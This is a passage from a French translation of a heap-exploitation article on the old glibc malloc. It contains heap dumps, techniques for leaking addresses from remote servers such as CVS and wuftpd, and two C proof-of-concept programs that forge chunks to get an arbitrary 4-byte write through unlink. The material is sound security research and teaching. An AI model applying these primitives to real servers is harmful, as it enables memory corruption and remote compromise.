chunk     0x80496a0 0x0109 (A)
chunk     0x80497a8 0x0859 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x80497a8 - top size = 0x0858

--- HEAP LAYOUT ---
|A||A||T|

Un nouveau chunk est allou depuis l'espace restant au top chunk. La mme
chose se produit avec les prochains appels malloc().


6               moe = malloc(256);

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
    returning 0x80497a8 from top chunk
    new top 0x80498b0 size 0x751

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (A)
chunk     0x80497a8 0x0109 (A)
chunk     0x80498b0 0x0751 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x80498b0 - top size = 0x0750

--- HEAP LAYOUT ---
|A||A||A||T|



7               po = malloc(256);

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
    returning 0x80498b0 from top chunk
    new top 0x80499b8 size 0x649
 
--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (A)
chunk     0x80497a8 0x0109 (A)
chunk     0x80498b0 0x0109 (A)
chunk     0x80499b8 0x0649 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x80499b8 - top size = 0x0648

--- HEAP LAYOUT ---
|A||A||A||A||T|



8               lala = malloc(256);

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
    returning 0x80499b8 from top chunk
    new top 0x8049ac0 size 0x541

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (A)
chunk     0x80497a8 0x0109 (A)
chunk     0x80498b0 0x0109 (A)
chunk     0x80499b8 0x0109 (A)
chunk     0x8049ac0 0x0541 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540

--- HEAP LAYOUT ---
|A||A||A||A||A||T|



9               free(larry);
[1679] FREE(0x80496a8) - CHUNK_FREE(0x40018040,0x80496a0)
    fronlink(0x80496a0,264,33,0x40018148,0x40018148) new free chunk

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (F) | 0x40018148 | 0x40018148 | (LC)
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0109 (A)
chunk     0x80499b8 0x0109 (A)
chunk     0x8049ac0 0x0541 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
   bin 33 @ 0x40018148
      free_chunk @ 0x80496a0 - size 0x0108

--- HEAP LAYOUT ---
|A||33||A||A||A||T|

Un chunk est libr. La macro frontlink() est appele pour insrer le
nouveau chnuk libre dans le bin correspondant :

frontlink(ar_ptr, new_free_chunk, size, bin_index, bck, fwd);

Notez que le paramtre d'adresse de zone (ar_ptr) a t omis dans la
sortie. Dans ce cas, le chunk 0x80496a0 a t insr dans le bin numro 33
selon sa taille. Comme ce chunk est le seul dans son bin (nous pouvons le
vrifier dans la sortie de bin_dump() ), c'est un chunk seul (LC) ["lonely
chunk"] (nous verrosn plus tard qu'tre seul le rend dangereux ...), ses
pointeurs bk et fd sont gaux et pointent sur le bin numro 33.
Dans la sortie de heap_layout(), le nouveau chunk libre est reprsent par
le numro du bin o il est situ.



10              free(po);

[1679] FREE(0x80498b8) - CHUNK_FREE(0x40018040,0x80498b0)
    fronlink(0x80498b0,264,33,0x40018148,0x80496a0) new free chunk

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (F) | 0x40018148 | 0x080498b0 |
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0109 (F) | 0x080496a0 | 0x40018148 |
chunk     0x80499b8 0x0108 (A)
chunk     0x8049ac0 0x0541 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
   bin 33 @ 0x40018148
      free_chunk @ 0x80496a0 - size 0x0108
      free_chunk @ 0x80498b0 - size 0x0108

--- HEAP LAYOUT ---
|A||33||A||33||A||T|

A prsent, nous avons deux chunks libres dans le bin numro 33. Nous
pouvons maintenant apprcier comment la liste doublement relie est
construite. Le pointeur forward du chunk  0x80498b0 pointe sur l'autre
chunk dans la liste, le pointeur backward pointe sur la tte de la lite, le
bin.
Notez qu'il n'y a plus un chunk seul. Donc, nous pouvons voir la diffrence
entre une adresse de heap et une adresse de libc (l'adresse du bin),
0x080496a0 et 0x40018148 respectivement.



11              tw = malloc(128);

[1679] MALLOC(128) - CHUNK_ALLOC(0x40018040,136)
    unlink(0x80496a0,0x80498b0,0x40018148) from big bin 33 chunk 1 (split)
    new last_remainder 0x8049728

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0089 (A)
chunk     0x8049728 0x0081 (F) | 0x40018048 | 0x40018048 | (LR)
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0109 (F) | 0x40018148 | 0x40018148 | (LC)
chunk     0x80499b8 0x0108 (A)
chunk     0x8049ac0 0x0541 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
   bin 1 @ 0x40018048
      free_chunk @ 0x8049728 - size 0x0080
   bin 33 @ 0x40018148
      free_chunk @ 0x80498b0 - size 0x0108

--- HEAP LAYOUT ---
|A||A||L||A||33||A||T|

Dans ce cas, la taille demande pour la nouvelle allocation est plus petite
que la taille du chunk disponible. Donc, le premier tampon libr est pris
depuis le bin avec la macro unlink() et divis. La premire partie est
alloue, l'espace libre restant est appel le "dernier reste", qui est
toujours stock dans le premier bin, comme nous pouvons le voir dans la
sortie de bin_dump().
Dans la sortie de heap_layout(), le chunk "dernier reste" est reprsent
avec un L ; dans la sortie de heap_dump(), (LR) est utilis.



12              piniata = malloc(128);

[1679] MALLOC(128) - CHUNK_ALLOC(0x40018040,136)
    clearing last_remainder
    frontlink(0x8049728,128,16,0x400180c0,0x400180c0) last_remainder
    unlink(0x80498b0,0x40018148,0x40018148) from big bin 33 chunk 1 (split)
    new last_remainder 0x8049938

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0089 (A)
chunk     0x8049728 0x0081 (F) | 0x400180c0 | 0x400180c0 | (LC)
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0089 (A)
chunk     0x8049938 0x0081 (F) | 0x40018048 | 0x40018048 | (LR)
chunk     0x80499b8 0x0108 (A)
chunk     0x8049ac0 0x0541 (T)
sbrk_end  0x804a000
$25 = void

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
   bin 1 @ 0x40018048
      free_chunk @ 0x8049938 - size 0x0080
   bin 16 @ 0x400180c0
      free_chunk @ 0x8049728 - size 0x0080


--- HEAP LAYOUT ---
|A||A||16||A||A||L||A||T|

Comme la taille de last_remainder n'est pas assez pour l'allocation
demande, le dernier reste est nettoy et insr comme un nouveau chunk
libre dans le bin correspondant. Aprs, l'autre chunk libre est pris depuis
son bin et divis comme  l'tape prcdente.



13              dipsi = malloc(1500);

[1679] MALLOC(1500) - CHUNK_ALLOC(0x40018040,1504)
    clearing last_remainder
    frontlink(0x8049938,128,16,0x400180c0,0x8049728) last_remainder
    extended top chunk: 
        previous size 0x540
        new top 0x804a0a0 size 0xf61
        returning 0x8049ac0 from top chunk

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0089 (A)
chunk     0x8049728 0x0081 (F) | 0x400180c0 | 0x08049938 |
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0089 (A)
chunk     0x8049938 0x0081 (F) | 0x08049728 | 0x400180c0 |
chunk     0x80499b8 0x0108 (A)
chunk     0x8049ac0 0x05e1 (A)
chunk     0x804a0a0 0x0f61 (T)
sbrk_end  0x804b000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x804a0a0 - top size = 0x0f60
   bin 16 @ 0x400180c0
      free_chunk @ 0x8049728 - size 0x0080
      free_chunk @ 0x8049938 - size 0x0080

--- HEAP LAYOUT ---
|A||A||16||A||A||16||A||A||T|

Comme aucun chunk libre n'est suffisant pour la taille d'allocation
demande, le top chunk a encore t tendu.



14              free(dipsi);

[1679] FREE(0x8049ac8) - CHUNK_FREE(0x40018040,0x8049ac0)
    merging with top
    new top 0x8049ac0

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0089 (A)
chunk     0x8049728 0x0081 (F) | 0x400180c0 | 0x08049938 |
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0089 (A)
chunk     0x8049938 0x0081 (F) | 0x 8049728 | 0x400180c0 |
chunk     0x80499b8 0x0108 (A)
chunk     0x8049ac0 0x1541 (T)
sbrk_end  0x804b000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x1540
   bin 16 @ 0x400180c0
      free_chunk @ 0x8049728 - size 0x0080
      free_chunk @ 0x8049938 - size 0x0080

--- HEAP LAYOUT ---
|A||A||16||A||A||16||A||T|

Le chunk juste aprs le top chunk est libr, donc il est uni avec, et
n'est pas insr dans un bin.



15              free(lala);

[1679] FREE(0x80499c0) - CHUNK_FREE(0x40018040,0x80499b8)
    unlink(0x8049938,0x400180c0,0x8049728) for back consolidation
    merging with top
    new top 0x8049938

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0089 (A)
chunk     0x8049728 0x0081 (F) | 0x400180c0 | 0x400180c0 | (LC)
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0089 (A)
chunk     0x8049938 0x16c9 (T)
sbrk_end  0x804b000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049938 - top size = 0x16c8
   bin 16 @ 0x400180c0
      free_chunk @ 0x8049728 - size 0x0080

--- HEAP LAYOUT ---
|A||A||16||A||A||T|

Encore, mais cette fois galement le chunk avant le chunk libr est uni,
comme il tait dj libre.

---------------------------------------------------------------------------
--] 4.3 - Reset de l'agencement - Prdiction de l'agencement initial
        - modle du serveur

Dans cette section, nous analysons comment des scnarios diffrents
pourraient avoir un impact sur le proseccus d'exploitation.
Dans le cas de serveurs tant redmarrs, il pourrait tre utile de causer
un "heap reset", ce qui siginfie crasher le processus en question pour
obtenir un agencement initial propre et connu de la heap.
La nouvelle heap qui est construite en mme temps que le nouveau processus
redmarr est dans son "agencement initial". Ceci ce rfre  l'tat
initial de la heap aprs l'initialisation du processus, avant de recevoir
des entres en provenace de l'utilisateur/utilisatrice. L'agencement
initial de la heap peut tre facilement prdit et utilis comme point de
dpart connu pour la prdiction de l'volution de l'agencement de la heap,
au lieu d'utiliser un agencement non-vierge rsultant de plusieurs
modifications faites pendant le service aux requtes des clients. Cet
agencement initial pourrait ne pas trop varier entre des versions
diffrentes du serveur cibl, mais dans le cas de modifications majeures
dans le code source.
Un problme vraiment relatif  l'analyse de l'agencement de la heap est le
type de processus tant exploit.
Dans le cas de processus servant plusieurs clients, la prdiction de
l'volution de l'agencement de la heap est plus difficile, car pouvant tre
influenc par les autres clients qui pourraient interagir avec notre
serveur cible alors que nous tentons de l'exploiter. Cependant, cela se
rvle utile dans le cas o l'interaction entre le serveur et le client est
trs restreinte, car cela permet  l'attaquant(e) d'ouvrir de multiples
connexions pour affecter le mme processus avec l'entre de commandes
diffrentes.
D'un autre ct, exploiter un serveur qui construit un processus par client
(i.e. un serveur fork) est plus simple, aussi longtemps que nous pouvons
prdire avec prcision l'agencement initial de la heap et que nous somme
capables de peupler la mmoire du processus de faon totalement contrle.
C'est vident, un serveur qui n'est pas redmarr ne nous laisse qu'un seul
essai pour, par exemple, bruteforcer et/ou un "heap reset" ne peut tre
appliqu.

[NDT : Bon je viens de tomber sur ceci, extrait de "Langage C -
Programmation Windows et Linux" (Editions Micro Applications - Grand Livre,
2000), page 325 : (Chapitre 7 - Classes de mmorisation) :
"Le heap (tas) est une zone de mmoire libre qu'on peut occuper en cours de
programme. Cela permet une gestion dynamique de la mmoire. En d'autres
termes, on n'est pas toujours oblig de confrer aux donnes, via les
dfinitions, des tailles figes (statiques). On peut, au contraire, les
crer en cours de programme, et adapter en permanance leurs dimensions aux
exigeances du moment (cf. chapitre Pointeurs)."
Mouarf, je recopierai bien tout le paragraphe ("Segments de programme"),
mais bon c'est un peu hors sujet, donc je vous invite  aller jeter un
oeuil dans le bouquin.
J'ai trouv galement un bon truc dans l'aide de Dev-C++ (oui bon je sais
, y'a mieux comme rfrence ;-)]

---------------------------------------------------------------------------

--] 4.4 Obtenir des informations du processus distant

[NDT : Muse - Origin of Symmetry / Showbiz / Absolution]

L'ide derrire les techniques dans cette section est de forcer un serveur
distant de nous donner de l'information pour nous aider  trouver les
localisations de mmoire dont nous avons besoin pour l'exploitation.
Ce concept a dj t utilis comme diffrents mcanismes dans le papier
"Bypassing PaX ASLR" [13], utilis pour contourner les processus d'adresse
mmoire randomize.
L'ide fut suggre dans [4], comme "transformant une primitive d'criture
en une primitive de lecture".

[NDT : Ces deux articles sont extraits du Phrack #59, dont la traduction
est prvue. Enjoy ! :-)]

--] 4.4.1 Modifier les donnes statiques du serveur
          - trouver le DATA du processus

Cette technique a t vue  l'origine dans les exploits wuftpd ~{. Quand le
processus ftpd reoit une requte "help", il rpond avec toutes les
commandes disponibles. Celles-ci sont stockes dans un tableau qui est une
partie du DATA du processus, tant une structure statique. L'attaquant(e)
tente de rcrire une partie de la structure  en utilisant la commande
"help" jusqu' ce qu'il/elle voie un changement dans la rponse du serveur.

A prsent l'attaquant(e) connat une adresse absolue  l'intrieur du DATA
du processus, et est capable de prdire la localisation le GOT du
processus.

--] 4.4.2 Modifier l'entre de l'utilisateur
          - trouver la localisation du shellcode

La technique suivante permet  l'attaquant(e) de trouver la localisation
exacte du code inject dans l'espace d'adressage du processus, tant
indpendant du processus cible.
Pour obtenir l'adresse, l'attaquant(e) donne au processus de fausses
donnes, qui sont stockes dans une partie du processus. Aprs, la
technique de base est employe, tentant d'crire 4 octets  l'endroit o
les fausses donnes taient prcedemment stockes. Aprs ceci, le serveur
est forc de rpondre en utlisant les fausses donnes fournies.
Si les donnes rejoues diffrent des originales envoyes (prenant en
compte toute information que le serveur pourrait modifier sur notre
entre), nous pouvons tre certains que la prochaine fois que nous
enverrons la mme squence en entre au serveur, elle sera stocke  la
mme place. La rponse du serveur pourrait tre tronque si une fonction
attendant NULL comme terminaison de chane est utilise pour le ruser, ou
pour obtenir la taille de la rponse avant de l'envoyer  travers le
rseau. En fait, l'entre fournie pourrait tre stocke plusieurs fois 
diffrants endroits, nous ne dtecterons une modification que lorsque nous
toucherons l'endroit o la rponse du serveur est ruse.
Notez que nous sommes capables de tenter deux adresse diffrentes  chaque
connexion, augmentant la vitesse du mcanisme de force brute.
La principale condition requise pour utiliser ce trick est d'tre en mesure
de dclencher la primitive aa4bmo entre l'instant o les donnes fournies
sont stockes et l'instant o la rponse du serveur est construite. La
comprhension du comportement du processus d'allocation, incluant comment
est trate chaque commande d'entre disponible est requise.

--] 4.4.2.1 Preuve de concept 3 : percuter la sortie

Le code suivant simule un processus qui nous fournit une primitive aa4bmo
pour essayer de trouver o se situe un tampon de sortie de heap allou
[heap allocated output buffer] :

#include <stdio.h>
#define SZ           256
#define SOMEOFFSET   5 + (rand() % (SZ-1))
#define PREV_INUSE   1
#define IS_MMAP      2
#define OUTPUTSZ     1024

void aa4bmoPrimitive(unsigned long what, unsigned long where){
   unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long));
   int i = 0;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
   for(;i<SZ;i++){
      unlinkMe[i] = ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE ;
   }
   free(unlinkMe+SOMEOFFSET);
   return;
}

int main(int argc, char **argv){
   long where;
   char *output;
   int contador,i;

   printf("## OUTPUT hide and seek ##\n\n");
   output = (char*)malloc(OUTPUTSZ);
   memset(output,'O',OUTPUTSZ);

   for(contador=1;argv[contador]!=NULL;contador++){
      where = strtol(argv[contador], (char **)NULL, 16);
        printf("[.] trying %p\n",where);

      aa4bmoPrimitive(where,where);

      for(i=0;i<OUTPUTSZ;i++)
         if(output[i] != 'O'){
            printf("(!) you found the output @ %p :(\n",where);
            printf("[%s]\n",output);
            return 0;
         }
      printf("(-) output was not @ %p :P\n",where);
   }
   printf("(x) did not find the output <:|\n");
}


LD_PRELOAD=./heapy.so ./hitOutput 0x8049ccc 0x80498b8 0x8049cd0 0x8049cd4
0x8049cd8 0x8049cdc 0x80498c8 > output

## OUTPUT hide and seek ##

[.] trying 0x8049ccc
(-) output was not @ 0x8049ccc :P
[.] trying 0x80498b8
(-) output was not @ 0x80498b8 :P
[.] trying 0x8049cd0
(-) output was not @ 0x8049cd0 :P
[.] trying 0x8049cd4
(-) output was not @ 0x8049cd4 :P
[.] trying 0x8049cd8
(-) output was not @ 0x8049cd8 :P
[.] trying 0x8049cdc
(-) output was not @ 0x8049cdc :P
[.] trying 0x80498c8
(!) you found the output @ 0x80498c8 :(
[OOOOOOOO~X^D^H~X^D^HOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
...
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO]

Notez la sortie tamponne dans le hexdump suivant :
...
7920 756f 6620 756f 646e 7420 6568 6f20
7475 7570 2074 2040 7830 3038 3934 6338
2038 283a 5b0a 4f4f 4f4f 4f4f 4f4f 98c8   <==
0804 98c8 0804 4f4f 4f4f 4f4f 4f4f 4f4f   <==
4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f
4f4f 4f4f 4f4f 0a5d


Ce mcanisme de force brute n'est pas compltement prcis dans certains
cas, par exemple lorsque le serveur cible utilise un arrangement de
tamporisation de la sortie.
Pour perfectionner la technique, nous pourrions peut-tre marquer une
partie des donnes fournies comme shellcode rel, et l'autre comme des
nops, ayant besoin que la partie nop soit atteinte durant la force brute
pour viter d'obtenir une adresse au milieu de notre shellcode. Et mme
mieux, nous pourrions marquer chaque quatre octets avec un offset masqu
(i.e; pour viter le caractre \x00), lorsque nous analysons la rponse
nous obtenons  prsent l'offset attendu dans le shellcode, donc nous
sommes capables dans un second essai de voir si notre shellcode est
actuellement stock dans cette adresse attendue, dtectant et vitant de ce
fait le risque que notre entre soit spare et stocke sparment dans le
heap.

Par exemple, dans l'exploit double free "Directory" de CVS [7], des
commandes non-reconnues (i.e. "cucucucucu") sont utilises pour peupler le
heap du serveur. Le serveur ne rpond pas, il stocke juste les donnes
fournies dans le heap, et attends, jusqu' ce qu'un noop ou une commande
soit reue. Aprs cela, la commande non-reconnue qui a t envoye est
r-envoye sans aucune modification au client. Nous pouvons donner au
serveur des donnes sans presque aucune restriction de taille, ces donnes
sont stockes dans le heap, jusqu' ce que nous les forons  nous tre
rejoues. Cependant, en analysant  comment notre commande non-reconnue est
stocke dans la heap o nous l'avons trouve, au lieu de ce qui est attendu
(un chunk de mmoire seul avec nos donnes), il y a d'autres structures
mlanges avec notre entre :

--- HEAP DUMP ---
            ADDRESS    SIZE               FD           BK
[...]
chunk     0x80e9998 0x00661 (F) | 0x40018e48 | 0x40018e48 |
chunk     0x80e9ff8 0x10008 (A)
chunk     0x80fa000 0x00ff9 (F) | 0x40018ed0 | 0x0810b000 |
chunk     0x80faff8 0x10008 (A)
chunk     0x810b000 0x00ff9 (F) | 0x080fa000 | 0x0811c000 |
chunk     0x810bff8 0x10008 (A)
chunk     0x813e000 0x04001 (T)
sbrk_end  0x8142000

Ceci se produit parce que les messages d'erreur sont mis en tampons quand
ils sont gnrs, attendant d'tre effacs, des structures internes d'tat
des tampons^sont alloues, et nos donnes sont spares et stockes dans
des tampons d'erreur de taille fixe.

--] 4.4.3 Modifier les entres de l'utilisateur
          - trouver les donnes de la libc

Dans cette situation, nous pouvons fournir des entres au serveur
vulnrable qui nous sont r-envoyes en sortie. Par exemple, dans la faille
double free "Directory" de CVS, nous donnons le serveur et la commande
invalide, qui est finalement rendue en cho en expliquant que c'tait une
comande invalide.
Si nous sommes capables de forcer un appel  free(), sur une adresse
pointant vers quelque part au milieu de notre entre fournie, avant qu'elle
ne soir renvoye au client, nous sommes capables d'obtenir l'adresse d'un
main_arena d'un bin. La capacit de forcer un free() pointant sur l'entre
que nous avons fournie dpend du scnario de l'exploitation, puyisqu'il est
simple d'atteindre ceci dans les situations de "double-free".
Lorsque le serveur libre notre entre, il trouve un chunk de trs grosse
taille, alors il le relie au premier chunk (chunk seul) du bin. Ceci dpend
principalement du processus de l'agencement du heap, mais selon ce que nous
sommes en train d'exploiter il devbrait tre facile de prdire quelle
taille nous aurions besoin pour crer le nouveau chunk libre pour qu'il
soit seul.
Quand frontlink() met en place le nouveau chunk libre, il sauvegarde
l'adresse du bin dans les pointeurs fw et bk du bin du chunk, ceci tant ce
qui nous permettra plus tard d'obtenir l'adresse du bin.
Notez que nous devrions faire attention avec notre chunk d'entre, pour
viter que le processus ne crashe pendant la libration de notre chunk,
mais ceci est trs simple dans la plupart des cas, i.e. en fournissant une
adresse connue  ct de la fin de la pile.

L'utilisateur/utilisatrice fournit comme entre un "chunk rempart" au
procesus cible. free() est appele dans une quelconque part de notre
entre, donc notre chunk spcialement construit est insr dans l'un des
derniers bins (nous savons peut-tre qu'il est vide par l'tape d'analyse
du heap, vitant ensuite un crash du processus). Lorsque le chunk rempart
fournit est insr dans le bin, l'adresse du bin est crite dans les champs
fd et bk de l'en-tte du chunk.

--] 4.4.3.1 Preuve de concept 4 : librer la sortie

Le code suivant cre un "chunk rempart" comme il serait envoy au serveur,
et appelle free()  un endroit au hasard dans le chunk (comme le serveur
cible le ferait).
Le chunk rempart crit  une adresse valide pour viter un crash du
processus, et ses pointeurs backward et forward sont renseigns avec
l'adresse du bin par la macro frontlink().
Aprs, le code cherche les adresses voulues dans la sortie, comme le ferait
un exploit qui aurait reu la rponse du serveur.


#include <stdio.h>
#define SZ           256
#define SOMEOFFSET   5 + (rand() % (SZ-1))
#define PREV_INUSE   1
#define IS_MMAP      2

unsigned long *aa4bmoPrimitive(unsigned long what, unsigned long where){
   unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long));
   int i = 0;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
   for(;i<SZ;i++){
      unlinkMe[i] = ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE ;
   }
   printf ("(-) calling free() at random address of output buffer...\n");
   free(unlinkMe+SOMEOFFSET);
   return unlinkMe;
}

int main(int argc, char **argv){
   unsigned long *output;
   int i;

   printf("## FREEING THE OUTPUT PoC ##\n\n");
   printf("(-) creating output buffer...\n");
   output = aa4bmoPrimitive(0xbfffffc0,0xbfffffc4);
   printf("(-) looking for bin address...\n");
   for(i=0;i<SZ-1;i++)
      if(output[i] == output[i+1] && 
       ((output[i] & 0xffff0000) != 0xffff0000)) {
         printf("(!) found bin address -> %p\n",output[i]);
         return 0;
      }
   printf("(x) did not find bin address\n");
}


./freeOutput

## FREEING THE OUTPUT PoC ##

(-) creating output buffer...
(-) calling free() at random address of output buffer...
(-) looking for bin address...
(!) found bin address -> 0x4212b1dc

Nous obtenons un chunk libre avec notre tampon fournit :

chunk_free (ar_ptr=0x40018040, p=0x8049ab0) at heapy.c:3221
(gdb) x/20x p
0x8049ab0:      0xfffffd6d      0xfffffd69      0xfffffd65      0xfffffd61
0x8049ac0:      0xfffffd5d      0xfffffd59      0xfffffd55      0xfffffd51
0x8049ad0:      0xfffffd4d      0xfffffd49      0xfffffd45      0xfffffd41
0x8049ae0:      0xfffffd3d      0xfffffd39      0xfffffd35      0xfffffd31
0x8049af0:      0xfffffd2d      0xfffffd29      0xfffffd25      0xfffffd21
(gdb)
0x8049b00:      0xfffffd1d      0xfffffd19      0xfffffd15      0xfffffd11
0x8049b10:      0xfffffd0d      0xfffffd09      0xfffffd05      0xfffffd01
0x8049b20:      0xfffffcfd      0xfffffcf9      0xfffffcf5      0xfffffcf1
0x8049b30:      0xfffffced      0xfffffce9      0xfffffce5      0xfffffce1
0x8049b40:      0xfffffcdd      0xfffffcd9      0xfffffcd5      0xfffffcd1
(gdb)
0x8049b50:      0xfffffccd      0xfffffcc9      0xfffffcc5      0xfffffcc1
0x8049b60:      0xfffffcbd      0xfffffcb9      0xfffffcb5      0xfffffcb1
0x8049b70:      0xfffffcad      0xfffffca9      0xfffffca5      0xfffffca1
0x8049b80:      0xfffffc9d      0xfffffc99      0xfffffc95      0xfffffc91
0x8049b90:      0xfffffc8d      0xfffffc89      0xfffffc85      0xfffffc81
(gdb)

3236      next = chunk_at_offset(p, sz);
3237      nextsz = chunksize(next);
3239      if (next == top(ar_ptr)) /* merge with top */
3278      islr = 0;
3280      if (!(hd & PREV_INUSE))  /* consolidate backward */
3294      if (!(inuse_bit_at_offset(next, nextsz)))   
            /* consolidate forward */
3296        sz += nextsz;
3298        if (!islr && next->fd == last_remainder(ar_ptr))
3306          unlink(next, bck, fwd);
3315      set_head(p, sz | PREV_INUSE);
3316      next->prev_size = sz;
3317      if (!islr) {
3318        frontlink(ar_ptr, p, sz, idx, bck, fwd);

Aprs que la macro frontlink() ait t appele avec notre tampon fournit,
elle obtiens l'adresse du bin dans lequel il est insr :

(gdb) x/20x p

0x8049ab0:      0xfffffd6d      0xfffffd65      0x40018430      0x40018430
0x8049ac0:      0xfffffd5d      0xfffffd59      0xfffffd55      0xfffffd51
0x8049ad0:      0xfffffd4d      0xfffffd49      0xfffffd45      0xfffffd41
0x8049ae0:      0xfffffd3d      0xfffffd39      0xfffffd35      0xfffffd31
0x8049af0:      0xfffffd2d      0xfffffd29      0xfffffd25      0xfffffd21

(gdb) c
Continuing.
(-) looking for bin address...
(!) found bin address -> 0x40018430

Vrifions l'adresse que nous avons obtenue :

(gdb) x/20x 0x40018430
0x40018430 <main_arena+1008>:   0x40018428      0x40018428      0x08049ab0
0x08049ab0
0x40018440 <main_arena+1024>:   0x40018438      0x40018438      0x40018040
0x000007f0
0x40018450 <main_arena+1040>:   0x00000001      0x00000000      0x00000001
0x0000016a
0x40018460 <__FRAME_END__+12>:  0x0000000c      0x00001238      0x0000000d
0x0000423c
0x40018470 <__FRAME_END__+28>:  0x00000004      0x00000094      0x00000005
0x4001370c

Et nous voyons que c'est l'un des derniers bins de main_arena.

Bien que dans cet exemple nous atteignons le chunk rempart au premier
essai, cette technique peut tre applique en mme temps pour faire le
brute force de l'endroit o se trouve notre sortie (si nous ne le savons
pas auparavant).


--] 4.4.4 Faille base sur la fuite de mmoire de la heap
          - trouver les donnes de la libc

Dans ce cas, la faille elle-mme mne  une fuite de la mmoire du
processus.
Par exemple, dans la faille "SSLv2 Malformed Client Key Buffer Overflow" de
OpenSSL [6], l'attaquant(e) est capable de dborder un tampon et de
rcrire une variable utilise pour traquer une taille de tampon.
Lorsque cette taille est rcrite, avec une taille plus grande que
l'originale, le processus envoie le contenu du tampon (stock dans le heap
du processus) au client, envoyant plus d'information que stock 
l'origine. L'attaquant(e) obtient ensuite une portion limite du heap du
processus.

---------------------------------------------------------------------------
--] 4.5 Mauvais traitements sur les informations qui ont fuit

Le but des techniques dans cette section est d'exploiter les informations
collectes en utilisant l'un des tricks de fuite d'information de processus
vus prcdemment.

--] 4.5.1 Reconnatre la zone

L'ide est d'obtenir des informations collectes prcedemment l'adresse
d'un bin malloc. Ceci s'applique principalement aux scnarios o nous
sommes capables de fuiter la mmoire du heap du processus. L'adresse d'un
bin peut tre obtenue directement si l'attaquant(e) peut utiliser la
technique "librer la sortie".
L'adresse de bin obtenue peut tre utilise plus tard pour trouver
l'adresse d'un pointeur sur fonction  rcrire avec l'adresse de notre
shellcode, comme vu dans les techiques suivantes.

En se souvenant comment les bins sont organiss en mmoire (doubles listes
lies circulaires), nous savons qu'un chunk accroch  un bin contenant
juste un chunk aura les deux pointeurs (bk et fd) pointant vers la tte de
la liste, vers la mme adresse, car la liste est circulaire.

   [bin_n]          (premier chunk)
      ptr]  ---->  [<- chunk ->] [<- chunk ->] [<-  fd
                           [    chunk
      ptr]  ---->  [<- chunk ->] [<- chunk ->] [<-  bk
   [bin_n+1]        (dernier chunk)

     .
     .
     .

   [bin_X]
      ptr] ---->  [<-  fd
                  [    chunk seul mais intressant
      ptr] ---->  [<-  bk
     .
     .

C'est rellement joli, car a nous autorise  reconnatre dans le heap
quelle adresse pointe vers un bin, situ plus exactement dans l'espace
d'adressage de la libc, quelque part dans le main_arena car cette tte de
liste des bin est situe dans le main_arena.

Ensuite, nous pouvons chercher aprs deux adresses mmoire gales, l'une
aprs l'autre, pointant vers la mmoire de la libc (chercher aprs des
